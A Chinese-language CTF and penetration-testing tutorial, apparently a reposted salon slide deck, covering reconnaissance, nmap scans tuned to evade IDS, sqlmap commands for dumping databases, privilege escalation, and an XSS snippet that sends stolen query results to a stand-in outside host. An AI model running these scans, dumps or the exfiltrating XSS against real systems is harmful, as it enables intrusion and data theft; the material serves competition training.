乌云沙龙:赛棍的自我修养
来自:安全客
About Me
id:redrain
熟悉各种主流,非主流渗透测试技术
资深赛棍,CTF,wargame爱好者,获国内各大CTF冠亚季军balabala
light4freedom成员
blog: http://www.hackdog.me
部分writeup: http://www.hackdog.me/writeup/
CTF概览
为了评估,发现安全人才而开设的一种比赛模式
通常分为线上解题模式和线下攻防模式
如著名的CTF赛制,wargame赛制
比赛内容包括了web,binary,网络,移动安全,无线安全,大数据等等
平时在哪儿玩儿
ctftim:http://ctftime.org
wechall:http://wechall.net
渗透测试关键技术
获取信息(gather info)
攻击行为(sqli,xss...)
权限提升(privilege elevation)
获取信息
信息收集
服务器信息%中间件信息(iis,apache,nginx,django等webserver)
http响应报文
域名whois
敏感文件和路径
phpinfo(web探针)
数据库信息(类型,版本等,通常由sqli获取)
管理员信息
子域名&&同服&&C段服务器信息探测
......
扫描器
通常情况vul scanner不允许使用
扫描器可以很方便的探测信息,找到漏洞,但是容易触发ids,防火墙
w3af
nmap
了解nmap常用命令
nmap -h
基本语法:
nmap [扫描方式] [命令选项] {目标}
nmap -p 80,8080 ip
(只扫描开放80和8080端口的主机)
扫描方式配合使用
禁用ping扫描,使用静默扫描绕过ids检测
nmap -Pn -sS -A -v -T4 IP
域名相关信息探测
whois
子域名探测(爆破,域传送漏洞)
whois
子域名探测(通过爆破和接口查询)
子域名探测(域传送漏洞)
攻击行为
sql注入(sql injection)
因为用户输入参数可控且带入程序语句,入库查询,导致sql注入
%显错注入(直接注入闭合符号报错)
%盲注(判断语句进行注入)
%边信道注入(延时注入)
不得不说的自动化工具
sqlmap
havij
sqlmap -u url(GET)
sqlmap -u url --data(POST)
sqlmap -u url --dbs
sqlmap -u url -D(指定数据库) --tables
sqlmap -u url -D(制定数据库) -T(指定表名) --columns
sqlmap -u url -D(制定数据库) -T(指定表名) -C(制定字段) --dump
不同的数据库的注入差异
Access
Mssql(SQLserver)
Mysql
Oracle
MongoDB
......
Access只能通过字典爆表
Mssql如果是以sa权限的用户可以通过xp_cmdshell执行系统命令
Mysql5可在information库读取到表信息,如果是root用户也可执行命令
Oracle提升权限到DBA后可导出JAVA执行系统命令
......
XSS
跨站点脚本攻击
在页面注入了黑客的恶意js,可盗取cookie,传播蠕虫,挂马,实现rootkit后门等
CTF中,xss往往配合其他攻击手法使用
1
2
3
4
|
xss: href='http://host.xxoo.php'$.ajax({url:"/xxx.php?id=1 and 1=sqli payload", type:'GET',success: function(data){ $.post('http://host/xxoo.php',{'a':data}); }}); |
一些其他漏洞利用
PHP文件包含(远程,本地)
命令执行
代码执行
中间件,框架漏洞
php文件包含
爆破(口令字典)
通过字典,暴力破解帐号密码
没有验证码
没有限制用户提交次数
系统权限提升
通过现有的系统漏洞利用(exp)提权
通过第三方应用提权(mysql,mssql,filezilla...)
通过管理信息泄漏,碰撞密码,直接拿到最高权限
通过现有的系统漏洞利用(exp)提权
CTF和实际场景的区别
丫的肯定是有漏洞的
CTF肯定是有漏洞的,可能只是我们脑洞没跟上
CTF考察一个点,实际工作面对的是安全整体
针对已知信息猜测考察点,不需要和平时工作一样太多考虑整个安全整体
脑洞大开
出题人水平层次不齐,所以脑洞一定要坐北朝南
赛棍的奥义
一切输入都是有害的
找到交互点,结合白/黑盒方式测试输入输出
一切信息都是有用的
对目标进行详细的信息探测,将会大大方便接下来的工作
例如:比赛形式最喜欢将敏感信息藏在http返回包里
多尝试不同的攻击手段
有时比赛环境的出题人脑洞比较大,和实际攻击场景有出入
例如:同样是一个sqli,出题环境做了硬编码,只有唯一答案
所以payload在你本地work,在环境不work
攻击犀利,但是要保护自己
在很多的比赛中,尤其是线下赛,经常有选手的电脑接入网络环境后被黑
直接暴露弱点是不聪明的,你可以扩大自己的攻击成果但是要保护自己
作者:ssooking 联系邮箱:c3Nvb2tpbmdAeWVhaC5uZXQ=
若无特殊说明,所发博文皆为原创,转载请务必注明出处、保留原文地址。欢迎交流分享!如果您有任何问题,请联系我!